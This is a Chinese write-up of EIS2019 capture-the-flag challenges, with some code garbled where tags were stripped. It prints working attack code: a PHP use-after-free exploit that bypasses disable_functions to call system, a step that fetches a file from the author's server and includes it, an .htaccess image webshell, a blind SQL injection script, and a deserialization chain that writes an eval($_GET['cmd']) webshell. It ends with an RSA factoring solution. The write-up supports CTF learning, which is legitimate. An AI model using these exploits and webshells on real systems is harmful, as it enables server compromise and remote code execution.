EIS2019|EIS2019 WP

WEB ezbypass 简单绕过disable_function,找找别人的payload,直接上传

= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; }function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; }function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = chr($v & 0xff); $v >>= 8; } }function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; }function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type= leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } }if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; }function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $text_size) { $deref = leak($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $text_size) { $deref = leak($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } }function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } }function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; }class ryat { var $ryat; var $chtg; function __destruct() { $this->chtg = $this->ryat; $this->ryat = 1; } }class Helper { public $a, $b, $c, $d; }if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); }$n_alloc = 10; # increase this value if you get segfaults$contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_repeat('A', 79); $poc = 'a:4:{i:0; i:1; i:1; a:1:{i:0; O:4:"ryat":2:{s:4:"ryat"; R:3; s:4:"chtg"; i:2; }}i:1; i:3; i:2; R:5; }'; $out = unserialize($poc); gc_collect_cycles(); $v = []; $v[0] = ptr2str(0, 79); unset($v); $abc = $out[2][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79) { die("UAF failed"); }# leaks $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; # fake value write($abc, 0x60, 2); write($abc, 0x70, 6); # fake reference write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); }if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); }if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); }if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); }# fake closure object $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); }# pwn write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); # internal func type write($abc, 0xd0 + 0x68, $zif_system); # internal func handler($helper->b)($cmd); exit(); }

我是用copy('http://vps/zz.php','/tmp/zz.php')来进行传输,然后?cmd=include('/tmp/zz.php'); &ssss=/readflag拿到flag,但是好像传过去一个空文件,所以一直失败。后来发现有别人也上传了shell
EIS2019|EIS2019 WP
文章图片

直接捡别人的来用 EIS2019|EIS2019 WP
文章图片

ezupload 右键看到提示,下载/.login.php.swpvim -r恢复原文件。
prepare($sql)) { $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($dpasswd); $stmt->fetch(); if ($dpasswd === $password){ $_SESSION['login'] = 1; header("Location: /upload.php"); }else{ die("login failed"); } $stmt->close(); } }else{ header("Location: /index.php"); } $mysqli->close();

老考题了,随便输入一个username,抓包删掉password即可。因为select结果为nullpasswordnullnull===null
EIS2019|EIS2019 WP
文章图片

接下来也是老考题了,用 SUCTF2019 CheckIn的思路即可,因为不知道上传目录下是否有 php文件,所以改用 .htaccess+图片马直接上。文件中加个 xbm文件头
#define test_width 16 #define test_height 7


EIS2019|EIS2019 WP
文章图片
EIS2019|EIS2019 WP
文章图片
猜测上传目录为 uploads,然后去 getshell
EIS2019|EIS2019 WP
文章图片

ezwaf 源码如下:
$val) { if (!is_array($val)) { $newarr[$key] = mysqli_real_escape_string($mysqli, $val); } } return $newarr; }$_GET= escape($_GET); if (isset($_GET['name'])) { $name = $_GET['name']; mysqli_query($mysqli, "select age from user where name='$name'"); }else if(isset($_GET['age'])) { $age = $_GET['age']; mysqli_query($mysqli, "select name from user where age=$age"); }

代码中加了一层mysql_real_escape_string()函数过滤了单引号双引号

EIS2019|EIS2019 WP
文章图片

但是在代码中我们可以发现, age这个变量是数值型注入。所以直接盲注就可以。盲注代码如下:
import requests import urllibflag = '' pos = 1 url = 'http://111.186.57.61:10601/?age=' while True : for i in range(0,128): try: # res = requests.get(url+urllib.quote('-1 or if((ascii(substring((select group_concat(table_name) from information_schema.columns where table_schema=database()) from %d for 1))=%d),sleep(4),1)'%(pos,i)),headers={'Content-Length':''},timeout=2) # flag_xdd # res = requests.get(url+urllib.quote('-1 or if((ascii(substring((select group_concat(column_name) from information_schema.columns where table_name=0x666c61675f786464) from %d for 1))=%d),sleep(4),1)'%(pos,i)),headers={'Content-Length':''},timeout=2) # flag_32122 res = requests.get(url+urllib.quote('-1 or if((ascii(substring((select group_concat(flag_32122) from flag_xdd ) from %d for 1))=%d),sleep(4),1)'%(pos,i)),headers={'Content-Length':''},timeout=2) except Exception ,e: flag +=chr(i) print flag break pos = pos+1 print "oops"

一开始写的时候,没有加headers={'Content-Length':''},死活出不来答案。
然后因为过滤了引号,所以再写where子句的时候,用的是十六进制绕过。

EIS2019|EIS2019 WP
文章图片

ezpop 源码:
key= $key; $this->store= $store; $this->expire = $expire; }public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } }return $contents; }public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]); }public function save() { $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire); }public function __destruct() { if (! $this->autosave) { $this->save(); } } }class B{ protected function getExpireTime($expire): int { return (int) $expire; }public function getCacheKey(string $name): string { return $this->options['prefix'] . $name; }protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize']; return $serialize($data); }public function set($name, $value, $expire = null): bool { $this->writeTimes++; if (is_null($expire)) { $expire = $this->options['expire']; } $expire= $this->getExpireTime($expire); $filename = $this->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (\Exception $e) { // 创建失败 } } $data = https://www.it610.com/article/$this->serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { //数据压缩 $data = https://www.it610.com/article/gzcompress($data, 3); }$data="\n" . $data; $result = file_put_contents($filename, $data); if ($result) { return true; } return false; } }if (isset($_GET['src'])) { highlight_file(__FILE__); }$dir = "uploads/"; if (!is_dir($dir)) { mkdir($dir); } unserialize($_GET["data"]);

首先确定应该是反序列化,考虑一下利用链的构造。
看一下代码,大概能确认是以下过程:
A类的__destruct()调用A类的save() 通过构造A的$store为B对象,从而在A类的save()中调用B类的set 在B类的set中最终完成shell的写入

接下来详细看一下各参数。
先从B类开始吧。
prefix用于文件名的构造。
... public function getCacheKey(string $name): string { return $this->options['prefix'] . $name; } ... $filename = $this->getCacheKey($name);

因为在后面写入文件的时候,前面拼接了一段别的php代码
"\n"

而且这段代码会导致即便我们在后面拼接上shell也无法正常执行。
这里经@张师傅提醒知道有道原题叫死亡退出,并且file_put_contents是支持php伪协议的,所以我们可以通过php://filter/write=convert.base64-decode/来将
$data= "https://www.it610.com/article/\n" . $data; $result = file_put_contents($filename, $data);

这段代码中的$data全部用base64解码转化过后再写入文件中,其中前面拼接部分会被强制解码,从而变成一堆乱码。而我们写入的shell(base64编码过的)会解码成正常的木马文件。
这里唯一需要注意的是长度问题,我们需要shell部分前面加起来的字节数为4的倍数(base64解码时不影响shell部分)。
所以$b->options['prefix']='php://filter/write=convert.base64-decode/resource=./uploads/'; 已经可以确定了。
然后是控制写入的内容。
我们先确定$data是怎么生成的。
从最终写入文件往上翻,先看到的是
$data= "https://www.it610.com/article/\n" . $data;

这里\n长度为32,所以不用注意,继续往上翻:
... protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize']; #print strval($data); #[{"whatever":{"filename":"test"}},"333"] return $serialize($data); } ... $data = https://www.it610.com/article/$this->serialize($value);

只要不影响原值,哪个函数都行。这里我选择用的是strval,用strip_tags当然也是可以的。$b->options['serialize']='strval'。再往上翻,就翻到了A类:
public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } }return $contents; }public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]); }public function save() { $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire); }

【EIS2019|EIS2019 WP】可以发现关键是$a->catch的构造。在cleanContents()中,array_intersect_key()是比较两个数组的键名,并返回交集。所以我们$object的键选$cachedProperties中任意一个都行,这里选择path。值就是我们的shellbase64编码,
JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ==
所以
$object = array("path"=>"JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ==");
如果我们设值$path='1',$complete='2',则最后得到的$contents会是
[{"1":{"path":"JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ=="}},"2"]

其中$complete='2'因为在shell后面,所以并不影响解码。在本地试了试,发现$path='111'时,可以正常解码shell。这样的话,$data已经设置完毕。
别的就是一些判断条件的参数,最终的exp如下:
key = '1.php'; } public function start($tmp){ $this->store = $tmp; } } class B{ public $options; }$a = new A(); $b = new B(); $b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=./uploads/"; $b->options['expire'] = 11; $b->options['data_compress'] = false; $b->options['serialize'] = 'strval'; $a->start($b); $object = array("path"=>"PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+"); $path = '111'; $a->cache = array($path=>$object); $a->complete = '2'; echo urlencode(serialize($a)); ?>

get请求发过去之后,发现成功写入。
EIS2019|EIS2019 WP
文章图片

说说遇到坑。一开始随便百度了一个base64在线编码,然后发现死活解不了。后来换了个网站发现成功了,原来是一开始找的网站,不仅会base64编码,还同时给我url编码了一波。。
还有个坑,就是在调$path长度的时候,我一开始以为是直接算$datashell前面那一串的长度,我算出来不加$path的时候长度为14
EIS2019|EIS2019 WP
文章图片
然后我以为 $path长度设为2即可。然后发现死活不成功,后来从1到4都试了试(最多就是4个),发现长度3的时候成功了,我也不知道这个长度到底怎么算的。。
base64编码之后结尾如果有 =,要删了之后才能写入成功,也很玄学。。
所以建议本地打通了再试远程。
Crypto RSA1
from flag import FLAG from Crypto.Util.number import * import gmpy2 import randomwhile True: p = int(gmpy2.next_prime(random.randint(10**399, 10**400-1))) q = int(str(p)[200:]+str(p)[:200]) if gmpy2.is_prime(q): breakm = bytes_to_long(FLAG) n = p*q e = 65537 c = pow(m,e,n)with open("enc","wb") as f: f.write(str(c)) f.write("\n") f.write(str(n))

16396023285324039009558195962852040868243807971027796599580351414803675753933120024077886501736987010658812435904022750269541456641256887079780585729054681025921699044139927086676479128232499416835051090240458236280851063589059069181638802191717911599940897797235038838827322737207584188123709413077535201099325099110746196702421778588988049442604655243604852727791349351291721230577933794627015369213339150586418524473465234375420448340981330049205933291705601563283196409846408465061438001010141891397738066420524119638524908958331406698679544896351376594583883601612086738834989175070317781690217164773657939589691476539613343289431727103692899002758373929815089904574190511978680084831183328681104467553713888762965976896013404518316128288520016934828176674482545660323358594211794461624622116836 21173064304574950843737446409192091844410858354407853391518219828585809575546480463980354529412530785625473800210661276075473243912578032636845746866907991400822100939309254988798139819074875464612813385347487571449985243023886473371811269444618192595245380064162413031254981146354667983890607067651694310528489568882179752700069248266341927980053359911075295668342299406306747805925686573419756406095039162847475158920069325898899318222396609393685237607183668014820188522330005608037386873926432131081161531088656666402464062741934007562757339219055643198715643442608910351994872740343566582808831066736088527333762011263273533065540484105964087424030617602336598479611569611018708530024591023015267812545697478378348866840434551477126856261767535209092047810194387033643274333303926423370062572301

首先我们先把切割成两部分,前200位为,后面的为,则,此时。
所以不难发现最低200位是的低200位,最高200位是的高200位(或者进一位)而是400位,所以都为200位,所以也为400位,所以此时得到就是。
此时我们用去代入上述等式,求出。此时我们可以根据得到的值后200位是否全为0,从而判断是进了一位的。然后两个变量两个等式算出,。
import gmpy2 import libnum c = 16396023285324039009558195962852040868243807971027796599580351414803675753933120024077886501736987010658812435904022750269541456641256887079780585729054681025921699044139927086676479128232499416835051090240458236280851063589059069181638802191717911599940897797235038838827322737207584188123709413077535201099325099110746196702421778588988049442604655243604852727791349351291721230577933794627015369213339150586418524473465234375420448340981330049205933291705601563283196409846408465061438001010141891397738066420524119638524908958331406698679544896351376594583883601612086738834989175070317781690217164773657939589691476539613343289431727103692899002758373929815089904574190511978680084831183328681104467553713888762965976896013404518316128288520016934828176674482545660323358594211794461624622116836 n = 21173064304574950843737446409192091844410858354407853391518219828585809575546480463980354529412530785625473800210661276075473243912578032636845746866907991400822100939309254988798139819074875464612813385347487571449985243023886473371811269444618192595245380064162413031254981146354667983890607067651694310528489568882179752700069248266341927980053359911075295668342299406306747805925686573419756406095039162847475158920069325898899318222396609393685237607183668014820188522330005608037386873926432131081161531088656666402464062741934007562757339219055643198715643442608910351994872740343566582808831066736088527333762011263273533065540484105964087424030617602336598479611569611018708530024591023015267812545697478378348866840434551477126856261767535209092047810194387033643274333303926423370062572301 e = 65537tmp = 10**200 #abhigh,ablow = n/(tmp^3), n % tmp abhigh,ablow = n/(tmp**3)-1, n % tmp ab = abhigh*tmp+ablow a2b2 = (n-ab*(tmp**2)-ab)/tmp #print a2b2 #(a-b),(a+b) tmp1 = gmpy2.iroot(a2b2-2*ab,2)[0] tmp2 = gmpy2.iroot(a2b2+2*ab,2)[0] a = (tmp1+tmp2)/2 b = a-tmp1 p = a*tmp + b q = n/p phi = (p-1)*(q-1) d = gmpy2.invert(e,phi) m = pow(c,d,p*q) print libnum.n2s(m)

未完待续

    推荐阅读